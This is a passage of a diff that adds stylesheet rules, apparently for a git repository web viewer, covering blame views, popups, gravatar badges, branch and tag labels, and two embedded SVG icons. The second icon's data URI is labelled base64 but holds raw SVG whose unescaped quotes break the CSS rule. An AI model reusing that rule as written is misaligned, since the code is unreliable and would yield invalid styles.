TAuODE4OTcgMS42NzA0LTIuNDcwNyAwLjIyMzI0LTIxLjQzMS0wLjU5MDMtNTUuNzY0LTAuMzY3MDctNzcuMTk0IDAuMTQ4NDEtMi4wNS0xLjU5NTctMS40NzMzLTIuOTEwMS0xLjY0MTYtMTguMTEyLTAuMjEzMDgtNDkuMzU3LTAuNDI2MTctNjcuNDY5LTAuNjM5MjUtMy42MzAzLTAuNjY1ODQtMS4zMjExLTYuNzYzMi02Ljk1NzMtNi41NDYzbC00Mi43MjctMC4zNDMxNGMtMC44Njc4LTAuMDcyNy0xLjU1NTMgMC4zODg4Mi0xLjYzMzkgMS4xODc0eiIgZmlsbD0idXJsKCNhKSIgc3Ryb2tlLXdpZHRoPSIxLjgiLz4KCQk8L2c+CgkJPHBhdGggZD0ibTgyLjI0IDc5LjQ0NGMzLjIyNTUgMCA2NC43LTUuMzU3OCA2NC43LTUuMzU3OGwwLjU2MjAzIDUuOTgwM3oiIGZpbGw9IiNmZmYiLz4KCQk8ZyBmaWxsPSJub25lIiBzdHJva2U9IiNhMDg5MmMiPgoJCQk8ZyBzdHJva2Utd2lkdGg9Ii41NjUiPgoJCQkJPHBhdGggZD0ibTEwNC44NCAxMzcuOTMgMzkuNTcgMC45MTk4OSIvPgoJCQkJPHBhdGggZD0ibTEwNS41NCAxNTEuODcgMzkuMzc5IDEuMTU5MyIvPgoJCQkJPHBhdGggZD0ibTEwNC44NSAxMzcuNjYgMC42NzY3OSAxNC40ODIiLz4KCQkJCTxwYXRoIGQ9Im0xNDQuNCAxMzguNTcgMC40NTM1OSAxNC43MTMiLz4KCQkJPC9nPgoJCQk8ZyBzdHJva2Utd2lkdGg9Ii4yNjQ1OHB4Ij4KCQkJCTxwYXRoIGQ9Im0xMDUuMzMgMTQ2LjQ5IDM5LjM0IDAuOTE5ODkiLz4KCQkJCTxwYXRoIGQ9Im0xMDUuNDQgMTQ5LjIgMzkuMzQgMC45MTk4OSIvPgoJCQkJPHBhdGggZD0ibTEyNC4yNSAxMzguMjl2OC42Nzk2Ii8+CgkJCQk8cGF0aCBkPSJtMTI0LjIyIDE0Mi44IDIwLjMwMyAwLjQ1OTEiLz4KCQkJPC9nPgoJCTwvZz4KCQk8Zz4KCQkJPGcgZmlsbC1vcGFjaXR5PSIuMDU3ODUxIj4KCQkJCTxwYXRoIGQ9Im0zMy42NzggMTI4LjkyYzAuNTYwMTctMC4wMzM0IDEuMDY4MiAwLjY0ODEyIDEuNjM1NCAwLjY2MzI2IDAuNDk4ODUgMC4wMTMzIDEuMDU2NS0wLjY0NTM2IDEuNTU1LTAuNTkyOTQgMS40ODMzIDAuMTU1OTUgMi45NTM0IDAuNDg4MTkgNC4zMzk1IDEuMDE1OCAwLjUxOTQ2IDAuMTk3NzMgMS44OTExIDIuMzIzNyAyLjM4MzMgMi41NzczIDAuNTcwOTQgMC4yOTQyMiAwLjI1NzAzLTEuMjc0IDAuNzgwNDQtMC45MDE2OSAwLjc5NDM4IDAuNTY1MTMgMS41MjczIDEuMjIyMSAyLjE3ODUgMS45NzYzIDAuNTAwODkgMC41NjYxNCAwLjk0MzEgMS4xNzU0IDEuMzI2NiAxLjgxNzUgMC4zNzExOSAwLjYyMTYxLTAuMjM0MjYgMC44MTMzMiAwLjAyNjcgMS40ODc1IDAuMjg2MDkgMC43MzkwMSAxLjQyNzUgMS45NjQ5IDEuNTgxIDIuNzQ0IDAuNjQzMTMgMy4yNjQ1IDAuMTIxNCA2Ljc3NDgtMS41NzMgOS42NDI1LTAuMjU5MTkgMC40Mzg2OS0xLjUyNSAwLjc0NzE0LTEuODM5MSAxLjE1MjYtMC4zNTY5MyAwLjQ2OTg4IDAuMjMxOTkgMS4wMjQzLTAuMTg2NzEgMS40MzItMS45NjQzIDEuOTEyNy00LjU1NDMgMy4xMzI0LTcuMjY0IDMuNTc3Ny0wLjY4OTI5IDAuMTEzMjktMC44MTAzNC0wLjkxNzkyLTEuNTA2OC0wLjkwNjE4LTAuNjgyNTMtMC4wMzQ1LTIuNTgwMyAxLjIyODUtMi44NTEyIDAuOTE4MjYgMC43MzE2Ni0wLjYwMDYgMS4xNTExLTIuMTU3NSAyLjI4ODgtMS41MTQ2IDEuMDMgMC42NjcyNSAxLjc4ODItMS4wMjcgMi43MDM1IDAuMDIxNiAwLjgyNDA4IDAuNzExNjkgMi4wMjcxIDAuNjQ5NTYgMi44MjEzLTAuMDc1MSAwLjgzMzg4LTAuNzQyOTggMS42NTU0LTEuNTI1MiAyLjEyOTMtMi41NTggMC41MjczOS0xLjE4NSAxLjc2NDgtMS44NDUxIDIuMzI4NS0yLjk4MDUgMC40NzQ4Ny0xLjQ1OTEgMC45NTAyNy0yLjkxOTYgMS4zMzAyLTQuNDA2OS0wLjA3OC0wLjg2MjMzIDAuNzI3MTItMi4wMjA0IDAuNjQwNTYtMi44ODYxLTAuMDk1MS0wLjk1MTYyLTEuMDg3OC0xLjYwOTktMS4zMTIxLTIuNTM0OC0wLjI5ODgxLTEuMTA5Mi0xLjE3NzEtMi4xMTc2LTEuMTIzMS0zLjI3MTEgMC4xNzY0Mi0wLjk0MDk2IDAuMjcxMzItMi4wNDM2LTAuOTkxNzUtMi4xMjE4LTEuMjcxMSAwLjA1NDktMi4zNjgxLTAuNjg0ODctMy41MzY0LTEuMDc3Ni0wLjMxMTIzLTAuNzI2OTItMC43ODc1MS0xLjkzNjQtMS44MDkyLTEuODM5NC0wLjgwMjU1LTAuMDIyNC0xLjYwNTkgMC4zMjYwMS0xLjgwMTUtMC42NzE0My0wLjk4MDMyIDAuNDU1OTMtMS45NzA4IDEuMDI5Mi0zLjEwOTggMC43NDgxNC0xLjMwODEgMC4xNTU4Mi0xLjAwNjctMC4zNzQ3Mi0xLjE0NC0xLjQzNjN6Ii8+CgkJCQk8cGF0aCBkPSJtNDMuNTA3IDEzMy41IDAuMjQ0OC0wLjA4NjQgMC44MDYzOSAwLjEyOTU5LTAuMDg2NCAwLjQzMnoiLz4KCQkJCTxwYXRoIGQ9Im00NS4xMiAxMzMuNzMgMC4zMTY4LTAuMjU5MiAwLjE3MjggMC40NjA3OS0wLjM0NTYgMC4wODY0eiIvPgoJCQkJPHBhdGggZD0ibTQ0LjYwMiAxMzQuMTUgMC44NDk1OSAwLjM0NTU4IDAuMjU5MTkgMC4yNzM2LTAuNDYwNzkgMC4yMDE1OXoiLz4KCQkJCTxwYXRoIGQ9Im0zOC43MjcgMTMwLjYyYzAuNDM2NzkgMC4wNjcyIDAuODczNTkgMC4xMzQzOSAxLjMxMDQgMC4yMDE1OSAwLjEyNDggMC4xNDQgMC4yNDk1OSAwLjI4Nzk5IDAuMzc0MzkgMC40MzE5OS0wLjI1NDQtMC4wMTkyLTAuNTA4NzktMC4wMzg0LTAuNzYzMTktMC4wNTc2LTAuMzA3MTktMC4xOTE5OS0wLjYxNDM5LTAuMzgzOTktMC45MjE1OC0wLjU3NTk4eiIvPgoJCQkJPHBhdGggZD0ibTM5LjgyMSAxNTIuODUgMC42NjIzOSAwLjE0Mzk5IDAuMTcyOCAwLjQ2MDc5LTAuMzQ1NiAwLjA4NjR6Ii8+CgkJCQk8cGF0aCBkPSJtNDAuNzE0IDE1Mi41NiAwLjY2MjM5IDAuMTQzOTkgMC4xNzI4IDAuNDYwNzktMC4zNDU2IDAuMDg2NHoiLz4KCQkJCTxwYXRoIGQ9Im00MS43NzkgMTUyLjA1IDAuNjYyMzkgMC4xNDM5OSAwLjE3MjggMC40NjA3OS0wLjM0NTYgMC4wODY0eiIvPgoJCQkJPHBhdGggZD0ibTQ2LjA5OSAxNTEuMDEgMC42NjIzOSAwLjE0Mzk5IDAuMTcyOCAwLjQ2MDc5LTAuMzQ1NiAwLjA4NjR6Ii8+CgkJCQk8cGF0aCBkPSJtMzUuOTMzIDE1NC45OCAwLjY2MjM5IDAuMTQzOTkgMC4xNzI4IDAuNDYwNzktMC4zNDU2IDAuMDg2NHoiLz4KCQkJPC9nPgoJCQk8cGF0aCBkPSJtMTQ3LjMxIDc3LjgyMiAwLjIyNDAzIDIuMzQxOSAwLjM1NjM1IDAuMDUwOS0wLjI3NDkxLTIuNDEzMnoiLz4KCQk8L2c+CgkJPHBhdGggZD0ibTM2LjEyMiA4MC41M2MyLjU3MTYtMC4wNjI4IDMuNDQ0Ni00LjU3OTUgNS45NDMzLTMuNjE1NiAwLjM1MzIzIDEuODg4OC0xLjgyODggMy4xMDg5LTIuMzgxNCA0LjgzODgtMC4zMzE0MyAwLjU5NzQ4LTEuOTgwMyAyLjk2NjYtMC40NDc5NyAxLjQ1MzQgMS43ODAzLTEuODQxMiAzLjExNjktNC40ODQ4IDUuODA5MS01LjExIDEuOTQ5NyAwLjU2NDk3LTIuMDM4NiAyLjY4MjktMC4yNDAwMiAwLjczNTY3IDEuNTU1OC0xLjQzODcgNC4zMjEzLTAuNzU3MiA0LjgyMTMgMS4zNzMyIDAuNDU4OCAyLjQ1NjYgMi45OTE3IDIuMDQ2OCA0LjMyODUgMC41OTgxIDEuMzE0LTAuMzgwOTEgMS42NTQyLTMuOTk0NiAwLjA5NjMtMi4wMDU3IDAuMjUzNTUgMC45MzYzMSAyLjE2MjktMS40NDQ0IDIuOTY0MiAwLjI0MDk4IDAuNDI0ODQgMC45OTE2Ni0wLjA4MyAzLjg5MTYgMS44NTU4IDIuNjE0NyAwLjk3NTYxLTAuODkwMjQgMi42MDQ1LTMuNzM2MiAzLjg5MDQtMS44ODExIDAuMTUwMDggMS43NzU1LTAuNDE4MTIgMy41NzA1LTAuNzcwNDcgNS4zMTEgMC4wNjk1IDEuMzA0LTIuNDM0MiAzLjQxODItMi4xMzQxIDEuMDA5MyAwLjgwODAzLTIuMjQ2MSAzLjA3MjUtMy4yNjI1IDQuODg4Mi00LjQ4OTEgMC42OTMxMS0xLjQwNjkgMi44MTc2LTMuNzM2MiAzLjc4MTctMS4xNjYxIDAuNDczODIgMi41OTcxIDIuNjc3MS0wLjUxMDY2IDQuMzU4Ny0wLjE2MDYgMC40NTk3Ny0wLjEwNjc5IDAuOTE4MDktMC4yMjY3IDEuMzU4NC0wLjM5ODYyIiBmaWxsPSJub25lIiBzdHJva2U9IiNkNGM5OTIiIHN0cm9rZS13aWR0aD0iLjk2NSIvPgoJPC9nPgo8L3N2Zz4=");
+	width:0px;
+	height:0px;
+	padding: 0.4em 0.6em 0.4em 0.6em;
+	background-repeat: no-repeat;
+	line-height:100%;
+	vertical-align:middle;
+	color: rgba(0, 0, 0, 0) !important;
+}
+
+img.submodule {
+	display: inline-block;
+	background: url("data:image/svg+xml;base64,<?xml version="1.0" encoding="UTF-8"?>
<!-- Created with Inkscape (http://www.inkscape.org/) -->
<svg version="1.1" viewBox="0 0 123.90488 92.260712" xmlns="http://www.w3.org/2000/svg" xmlns:cc="http://creativecommons.org/ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:xlink="http://www.w3.org/1999/xlink">
	<defs>
		<linearGradient id="b" x1="540.97" x2="480.37" y1="228.11" y2="158.99" gradientTransform="matrix(.69177 0 0 .69177 -612.49 -317.25)" gradientUnits="userSpaceOnUse">
			<stop stop-color="#2c89a0" offset="0"/>
			<stop stop-color="#afdde9" offset="1"/>
		</linearGradient>
		<filter id="d" x="-.051383" y="-.61145" width="1.1028" height="2.2229" color-interpolation-filters="sRGB">
			<feGaussianBlur stdDeviation="1.3939084"/>
		</filter>
		<filter id="c" x="-.11817" y="-.16241" width="1.2363" height="1.3248" color-interpolation-filters="sRGB">
			<feGaussianBlur stdDeviation="4.1588922"/>
		</filter>
		<linearGradient id="a" x1="540.97" x2="480.37" y1="228.11" y2="158.99" gradientTransform="translate(-771.73 -378.99)" gradientUnits="userSpaceOnUse">
			<stop stop-color="#786721" offset="0"/>
			<stop stop-color="#decd87" offset="1"/>
		</linearGradient>
		<filter id="e" x="-.051383" y="-.61145" width="1.1028" height="2.2229" color-interpolation-filters="sRGB">
			<feGaussianBlur stdDeviation="1.3939084"/>
		</filter>
	</defs>
	<metadata>
		<rdf:RDF>
			<cc:Work rdf:about="">
				<dc:format>image/svg+xml</dc:format>
				<dc:type rdf:resource="http://purl.org/dc/dcmitype/StillImage"/>
				<dc:title/>
			</cc:Work>
		</rdf:RDF>
	</metadata>
	<g transform="translate(319.73 236.72)">
		<g stroke="#000">
			<path d="m-266.7-228.54c3.2255 0 64.626-4.8359 64.626-4.8359l0.48057 5.4712z" filter="url(#e)" stroke-width="1.065"/>
			<path d="m-270.16-231.28c23.398 0.17076 46.801 0.27425 70.195 0.48705 1.4877 0.0613 2.7462 0.84375 2.7338 3.9653-2e-3 0.46586 2e-3 0.91678-0.0528 1.4699-0.15232 1.1495 0.18807 1.6597-0.31348 1.6837-24.648 0.15263-49.297 0.30525-73.945 0.45787z" fill="#918d49" stroke-width="2"/>
			<path d="m-318.83-233.01c1.0861 27.315 2.1722 54.631 3.2583 81.946 0.37048 2.0253 1.3805 1.6351 2.6597 1.8272l114.48 3.8748c1.63-0.0666 1.4647-0.81897 1.6704-2.4707 0.22324-21.431-0.5903-55.764-0.36707-77.194 0.14841-2.05-1.5957-1.4733-2.9101-1.6416-18.112-0.21308-49.357-0.42617-67.469-0.63925-3.6303-0.66584-1.3211-6.7632-6.9573-6.5463l-42.727-0.34314c-0.8678-0.0727-1.5553 0.38882-1.6339 1.1874z" fill="url(#a)" stroke-width="1.8"/>
		</g>
		<path d="m-267.01-228.23c3.2255 0 64.7-5.3578 64.7-5.3578l0.56203 5.9803z" fill="#fff"/>
		<g fill="none" stroke-width=".565">
			<path d="m-258.25-175.35 39.57 0.91989" stroke="#5d6c53"/>
			<path d="m-257.55-161.42 39.379 1.1593" stroke="#5d6c53"/>
			<path d="m-258.25-175.63 0.67679 14.482" stroke="#a0892c"/>
		</g>
		<path transform="matrix(1.0506 0 0 1.0506 -875.34 -542.29)" d="m547.47 306.76c0.75133 18.896 1.5026 37.792 2.254 56.688 0.25629 1.401 0.95502 1.1311 1.8399 1.264l79.191 2.6805c1.1276-0.0461 1.0132-0.56654 1.1555-1.7092 0.15443-14.825-0.40835-38.576-0.25393-53.401 0.10267-1.4182-1.1039-1.0192-2.0131-1.1356-12.529-0.1474-34.144-0.29481-46.673-0.44221-2.5113-0.46061-0.91391-4.6786-4.8128-4.5285l-29.557-0.23737c-0.60032-0.0503-1.0759 0.26897-1.1303 0.82142z" fill="#fff" filter="url(#c)" stroke="#fff" stroke-width="2.445"/>
		<g fill="none" stroke="#5d6c53">
			<path d="m-218.7-174.72 0.45359 14.713" stroke-width=".565"/>
			<g stroke-width=".26458px">
				<path d="m-257.77-166.8 39.34 0.91989"/>
				<path d="m-257.65-164.09 39.34 0.91989"/>
				<path d="m-238.85-175v8.6796"/>
				<path d="m-238.88-170.48 20.303 0.4591"/>
			</g>
		</g>
		<g>
			<g fill-opacity=".057851">
				<path d="m-315.57-178.76c0.56017-0.0334 1.0682 0.64812 1.6354 0.66326 0.49885 0.0133 1.0565-0.64536 1.555-0.59294 1.4833 0.15595 2.9534 0.48819 4.3395 1.0158 0.51946 0.19773 1.8911 2.3237 2.3833 2.5773 0.57094 0.29422 0.25703-1.274 0.78044-0.90169 0.79438 0.56513 1.5273 1.2221 2.1785 1.9763 0.50089 0.56614 0.9431 1.1754 1.3266 1.8175 0.37119 0.62161-0.23426 0.81332 0.0267 1.4875 0.28609 0.73901 1.4275 1.9649 1.581 2.744 0.64313 3.2645 0.1214 6.7748-1.573 9.6425-0.25919 0.43869-1.525 0.74714-1.8391 1.1526-0.35693 0.46988 0.23199 1.0243-0.18671 1.432-1.9643 1.9127-4.5543 3.1324-7.264 3.5777-0.68929 0.11329-0.81034-0.91792-1.5068-0.90618-0.68253-0.0345-2.5803 1.2285-2.8512 0.91826 0.73166-0.6006 1.1511-2.1575 2.2888-1.5146 1.03 0.66725 1.7882-1.027 2.7035 0.0216 0.82408 0.71169 2.0271 0.64956 2.8213-0.0751 0.83388-0.74298 1.6554-1.5252 2.1293-2.558 0.52739-1.185 1.7648-1.8451 2.3285-2.9805 0.47487-1.4591 0.95027-2.9196 1.3302-4.4069-0.078-0.86233 0.72712-2.0204 0.64056-2.8861-0.0951-0.95162-1.0878-1.6099-1.3121-2.5348-0.29881-1.1092-1.1771-2.1176-1.1231-3.2711 0.17642-0.94096 0.27132-2.0436-0.99175-2.1218-1.2711 0.0549-2.3681-0.68487-3.5364-1.0776-0.31123-0.72692-0.78751-1.9364-1.8092-1.8394-0.80255-0.0224-1.6059 0.32601-1.8015-0.67143-0.98032 0.45593-1.9708 1.0292-3.1098 0.74814-1.3081 0.15582-1.0067-0.37472-1.144-1.4363z"/>
				<path d="m-305.74-174.17 0.2448-0.0864 0.80639 0.12959-0.0864 0.432z"/>
				<path d="m-304.13-173.94 0.3168-0.2592 0.1728 0.46079-0.3456 0.0864z"/>
				<path d="m-304.65-173.52 0.84959 0.34558 0.25919 0.2736-0.46079 0.20159z"/>
				<path d="m-310.52-177.05c0.43679 0.0672 0.87359 0.13439 1.3104 0.20159 0.1248 0.144 0.24959 0.28799 0.37439 0.43199-0.2544-0.0192-0.50879-0.0384-0.76319-0.0576-0.30719-0.19199-0.61439-0.38399-0.92158-0.57598z"/>
				<path d="m-309.43-154.82 0.66239 0.14399 0.1728 0.46079-0.3456 0.0864z"/>
				<path d="m-308.54-155.11 0.66239 0.14399 0.1728 0.46079-0.3456 0.0864z"/>
				<path d="m-307.47-155.63 0.66239 0.14399 0.1728 0.46079-0.3456 0.0864z"/>
				<path d="m-303.15-156.66 0.66239 0.14399 0.1728 0.46079-0.3456 0.0864z"/>
				<path d="m-313.32-152.69 0.66239 0.14399 0.1728 0.46079-0.3456 0.0864z"/>
			</g>
			<path d="m-201.94-229.85 0.22403 2.3419 0.35635 0.0509-0.27491-2.4132z"/>
		</g>
		<path d="m-313.13-227.14c2.5716-0.0628 3.4446-4.5795 5.9433-3.6156 0.35323 1.8888-1.8288 3.1089-2.3814 4.8388-0.33143 0.59748-1.9803 2.9666-0.44797 1.4534 1.7803-1.8412 3.1169-4.4848 5.8091-5.11 1.9497 0.56497-2.0386 2.6829-0.24002 0.73567 1.5558-1.4387 4.3213-0.7572 4.8213 1.3732 0.4588 2.4566 2.9917 2.0468 4.3285 0.5981 1.314-0.38091 1.6542-3.9946 0.0963-2.0057 0.25355 0.93631 2.1629-1.4444 2.9642 0.24098 0.42484 0.99166-0.083 3.8916 1.8558 2.6147 0.97561-0.89024 2.6045-3.7362 3.8904-1.8811 0.15008 1.7755-0.41812 3.5705-0.77047 5.311 0.0695 1.304-2.4342 3.4182-2.1341 1.0093 0.80803-2.2461 3.0725-3.2625 4.8882-4.4891 0.69311-1.4069 2.8176-3.7362 3.7817-1.1661 0.47382 2.5971 2.6771-0.51066 4.3587-0.1606 0.45977-0.10679 0.91809-0.2267 1.3584-0.39862" fill="none" stroke="#89a02c" stroke-width=".965"/>
		<g stroke="#000">
			<path transform="matrix(.69177 0 0 .69177 -701.54 -424.1)" d="m634.29 305.45c3.2255 0 64.626-4.8359 64.626-4.8359l0.48057 5.4712z" filter="url(#d)" stroke-width="1.065"/>
			<path d="m-265.15-214.7c16.186 0.11813 32.376 0.18972 48.559 0.33693 1.0291 0.0424 1.8997 0.58368 1.8912 2.7431-1e-3 0.32227 1e-3 0.6342-0.0365 1.0168-0.10537 0.7952 0.1301 1.1481-0.21686 1.1647-17.051 0.10558-34.102 0.21116-51.153 0.31674z" fill="#918d49" stroke-width="1.3835"/>
			<path d="m-299.19-216.26c0.75133 18.896 1.5026 37.792 2.254 56.688 0.25629 1.401 0.95502 1.1311 1.8399 1.264l79.191 2.6805c1.1276-0.0461 1.0132-0.56654 1.1555-1.7092 0.15443-14.825-0.40835-38.576-0.25393-53.401 0.10267-1.4182-1.1039-1.0192-2.0131-1.1356-12.529-0.1474-34.144-0.29481-46.673-0.44221-2.5113-0.46061-0.91391-4.6786-4.8128-4.5285l-29.557-0.23737c-0.60032-0.0503-1.0759 0.26897-1.1303 0.82142z" fill="url(#b)" stroke-width="1.2452"/>
		</g>
		<path d="m-262.97-212.58c2.2313 0 44.758-3.7064 44.758-3.7064l0.38879 4.137z" fill="#fff"/>
		<g fill="none" stroke="#5d6c53">
			<g stroke-width=".39085">
				<path d="m-247.33-172.12 27.373 0.63635"/>
				<path d="m-246.85-162.48 27.241 0.80197"/>
				<path d="m-247.33-172.31 0.46818 10.018"/>
				<path d="m-219.97-171.68 0.31378 10.178"/>
			</g>
			<g stroke-width=".18303px">
				<path d="m-247-166.2 27.214 0.63635"/>
				<path d="m-246.92-164.33 27.214 0.63635"/>
				<path d="m-233.91-171.88v6.0043"/>
				<path d="m-233.93-168.75 14.045 0.31759"/>
			</g>
		</g>
		<g>
			<g fill-opacity=".057851">
				<path d="m-296.56-178.36c0.38751-0.0231 0.73896 0.44835 1.1313 0.45883 0.34509 9e-3 0.73084-0.44645 1.0757-0.41018 1.0261 0.10788 2.043 0.33771 3.0019 0.70272 0.35934 0.13678 1.3082 1.6074 1.6487 1.7829 0.39496 0.20353 0.1778-0.88134 0.53988-0.62376 0.54953 0.39094 1.0566 0.84538 1.507 1.3671 0.3465 0.39164 0.65241 0.81307 0.91767 1.2573 0.25678 0.43001-0.16205 0.56263 0.0185 1.029 0.19791 0.51123 0.98751 1.3593 1.0937 1.8982 0.4449 2.2583 0.084 4.6866-1.0881 6.6704-0.1793 0.30348-1.055 0.51685-1.2722 0.79731-0.24691 0.32505 0.16049 0.70855-0.12916 0.99059-1.3588 1.3232-3.1505 2.1669-5.025 2.4749-0.47684 0.0784-0.56057-0.63498-1.0424-0.62686-0.47215-0.0239-1.785 0.84984-1.9724 0.63522 0.50614-0.41548 0.79629-1.4925 1.5833-1.0478 0.71255 0.46159 1.237-0.71044 1.8702 0.0149 0.57007 0.49232 1.4023 0.44934 1.9517-0.0519 0.57685-0.51397 1.1451-1.0551 1.473-1.7695 0.36484-0.81971 1.2208-1.2764 1.6108-2.0618 0.3285-1.0094 0.65736-2.0197 0.92021-3.0486-0.054-0.59653 0.503-1.3977 0.44312-1.9966-0.0658-0.6583-0.75247-1.1137-0.90769-1.7535-0.20671-0.76729-0.81431-1.4649-0.77696-2.2628 0.12204-0.65094 0.18769-1.4137-0.68606-1.4678-0.8793 0.038-1.6382-0.47376-2.4464-0.74541-0.2153-0.50286-0.54477-1.3396-1.2515-1.2724-0.55518-0.0155-1.1109 0.22552-1.2463-0.46448-0.67815 0.3154-1.3634 0.71197-2.1513 0.51755-0.90488 0.10778-0.6964-0.25922-0.79139-0.99362z"/>
				<path d="m-289.76-175.19 0.16935-0.0598 0.55784 0.0897-0.0598 0.29884z"/>
				<path d="m-288.65-175.03 0.21915-0.17931 0.11954 0.31876-0.23907 0.0598z"/>
				<path d="m-289.01-174.74 0.58773 0.23906 0.1793 0.18927-0.31877 0.13946z"/>
				<path d="m-293.07-177.18c0.30216 0.0465 0.60432 0.093 0.90648 0.13946 0.0863 0.0996 0.17266 0.19922 0.25899 0.29884-0.17598-0.0133-0.35196-0.0266-0.52795-0.0399-0.21251-0.13281-0.42502-0.26563-0.63752-0.39845z"/>
				<path d="m-292.31-161.8 0.45822 0.0996 0.11954 0.31876-0.23908 0.0598z"/>
				<path d="m-291.7-162 0.45822 0.0996 0.11954 0.31876-0.23908 0.0598z"/>
				<path d="m-290.96-162.36 0.45823 0.0996 0.11953 0.31876-0.23907 0.0598z"/>
				<path d="m-287.97-163.08 0.45822 0.0996 0.11954 0.31876-0.23908 0.0598z"/>
				<path d="m-295-160.33 0.45822 0.0996 0.11954 0.31877-0.23908 0.0598z"/>
			</g>
			<path d="m-217.95-213.71 0.15498 1.62 0.24651 0.0352-0.19018-1.6694z"/>
		</g>
		<path d="m-294.87-211.83c1.779-0.0434 2.3829-3.168 4.1114-2.5012 0.24436 1.3066-1.2651 2.1506-1.6474 3.3474-0.22927 0.41331-1.3699 2.0522-0.30989 1.0054 1.2315-1.2737 2.1562-3.1024 4.0186-3.5349 1.3487 0.39083-1.4103 1.856-0.16604 0.50891 1.0763-0.99527 2.9894-0.52381 3.3352 0.94995 0.31738 1.6994 2.0696 1.4159 2.9943 0.41374 0.90897-0.2635 1.1443-2.7633 0.0666-1.3874 0.1754 0.64771 1.4963-0.99919 2.0506 0.1667 0.2939 0.686-0.0574 2.6921 1.2838 1.8088 0.6749-0.61585 1.8017-2.5846 2.6913-1.3013 0.10382 1.2283-0.28925 2.47-0.53299 3.674 0.0481 0.90207-1.6839 2.3646-1.4763 0.69819 0.55897-1.5538 2.1254-2.2569 3.3815-3.1055 0.47947-0.97322 1.9491-2.5846 2.6161-0.80668 0.32777 1.7966 1.852-0.35326 3.0152-0.11109 0.31806-0.0739 0.63511-0.15683 0.93972-0.27576" fill="none" stroke="#5d6c53" stroke-width=".66756"/>
		<text transform="rotate(1.2237)" x="-260.63785" y="-184.498" dominant-baseline="auto" fill="#ffffff" font-family="'Open Sans'" font-size="11.61px" font-weight="bold" letter-spacing="0px" stroke-width="1.4512" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-alternates:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;font-variant-position:normal;line-height:1.25;shape-padding:0;text-decoration-color:#000000;text-decoration-line:none;text-decoration-style:solid;text-indent:0;text-orientation:mixed;text-transform:none;white-space:normal" xml:space="preserve"><tspan x="-260.63785" y="-184.498">SUB</tspan><tspan x="-260.63785" y="-169.98569">MODULE</tspan></text>
	</g>
</svg>
");
+	width:0px;
+	height:0px;
+	padding: 0.4em 0.6em 0.4em 0.6em;
+	background-repeat: no-repeat;
+	line-height:100%;
+	vertical-align:middle;
+	color: rgba(0, 0, 0, 0) !important;
+}
+
+img.hflip {
+	transform: scaleX(-1);
+        filter: FlipH;
+}
+
+div.popup-title {
+	display:inline-block;
+	vertical-align:top
+}
+
+div.alias {
+	display:inline-block;
+	vertical-align:middle;
+	line-height:90%
+}
+
+div.popalias {
+	display:inline-block;
+	vertical-align:middle;
+	font-size:150%;
+	width:100%;
+	white-space:normal;
+	font-weight:normal;
+	padding:8px 8px 0 8px;
+}
+
+div.putt {
+	display:inline-block;
+	float:left;
+	vertical-align:middle;
+	margin-right:64px;
+	min-height:72px;
+	cursor:normal;
+	line-width:100%;
+	white-space:normal;
+	font-weight:normal;
+}
+
+div.putt1 {
+	display:inline-block;
+	float:left;
+	font-size:150%;
+	vertical-align:middle;
+	white-space:normal;
+	cursor:normal
+}
+
+div.putt1_blame {
+	display:inline-block;
+	position:absolute;
+	float:left;
+	font-size:350%;
+	top:-0.2em;
+	left:-2.5em;
+	vertical-align:middle;
+	cursor:normal
+}
+
+div.putt2 {
+	display:inline;
+	margin:auto;
+	text-align:left;
+	vertical-align:middle;
+	margin-right:64px;
+	font-size:125%;
+	width:100%;
+	font-weight:normal;
+	word-break:break-word;
+}
+
+div.putt3 {
+	display:inline-block;
+	position:absolute;
+	font-size:125%;
+	top:6px;
+	right:6px;
+	float:right;
+	vertical-align:top;
+	white-space:normal;
+}
+
+div.putt3_blame {
+	display:inline-block;
+	position:absolute;
+	top:4px;
+	right:-14px;
+	float:right;
+	padding-right:20px;
+	vertical-align:top;
+}
+
+div.putt4 {
+	display:inline-block;
+	float:none;
+	margin-right:12px;
+	font-size:100%;
+	padding-right:2px;
+	vertical-align:middle;
+}
+
+span.gravatar16 img.onhover {
+	display: none;
+	border: 1px solid gray;
+	padding: 0px;
+	border-radius: 4px;
+	width: 128px;
+	height: 128px;
+	color: gray
+}
+
+a.noline {
+	text-decoration: none;
+}
+
+a.grav-mailto:link {
+	text-decoration: none;
+	color:gray
+}
+
+span.identity {
+	border-radius: 5px;
+	padding: 0px;
+	padding-right: 5px;
+	background-color: rgba(240, 240, 240, 0.5);
+}
+
+span.gravatar64 img.inline-identity {
+	border-radius: 3px;
+	vertical-align:middle;
+	height: 64px;
+	width: 64px;
+	margin-right: 0.2em;
+	opacity: 0.6;
+}
+
+span.gravatar24 img.inline-identity {
+	border-radius: 3px;
+	vertical-align:middle;
+	height: 24px;
+	width: 24px;
+	margin-right: 0.2em;
+	opacity: 0.6;
+}
+
+span.gravatar16 img.inline-identity {
+	border-radius: 3px;
+	vertical-align:middle;
+	height: 16px;
+	width: 16px;
+	margin-right: 0.2em;
+	opacity: 0.6;
+}
+
+img.onhover {
+	display:none;
+}
+
+span.gravatar16:hover > img.onhover {
+	display: block;
+	position: absolute;
+	margin-left: 1.5em;
+	background-color: #eeeeee;
+	box-shadow: 2px 2px 7px rgba(100,100,100,0.75);
+	z-index:4
+}
+
+span.gravatar24:hover > img.onhover {
+	display: block;
+	position: absolute;
+	margin-left: 1.5em;
+	background-color: #eeeeee;
+	box-shadow: 2px 2px 7px rgba(100,100,100,0.75);
+	z-index:4
+}
+
+span.inline-branch {
+	border-radius: 8px;
+	padding: 2px 5px 2px 5px;
+	background-color: #f44;
+	color: white;
+	margin-right: 0.2em;
+	display: inline-block;
+	vertical-align:middle;
+	line-height:100%
+}
+
+span.inline_tag {
+	border-radius: 8px;
+	padding: 2px 5px 2px 5px;
+	background-color: #4d4;
+	color: white;
+	margin-right: 0.2em;
+	display: inline-block;
+	vertical-align:middle;
+	line-height:100%
+}
+
+div.selected-lines {
+	position: absolute;
+	pointer-events: none;
+	z-index: 1;
+	background-color: rgba(255, 255, 0, 0);
+	transition: background-color 0.5s;
+}
+
+div.blamed-lines {
+	position: absolute;
+	z-index: -1;
+	transition: background-color 0.5s;
+}
+
+a.selected-line-link-highlight {
+	background-color: yellow;
+}
+
+div.inline {
+	border: 1px solid gray;
+	border-radius: 6px;
+	padding: 6px;
+	margin-top:12px
+}
+
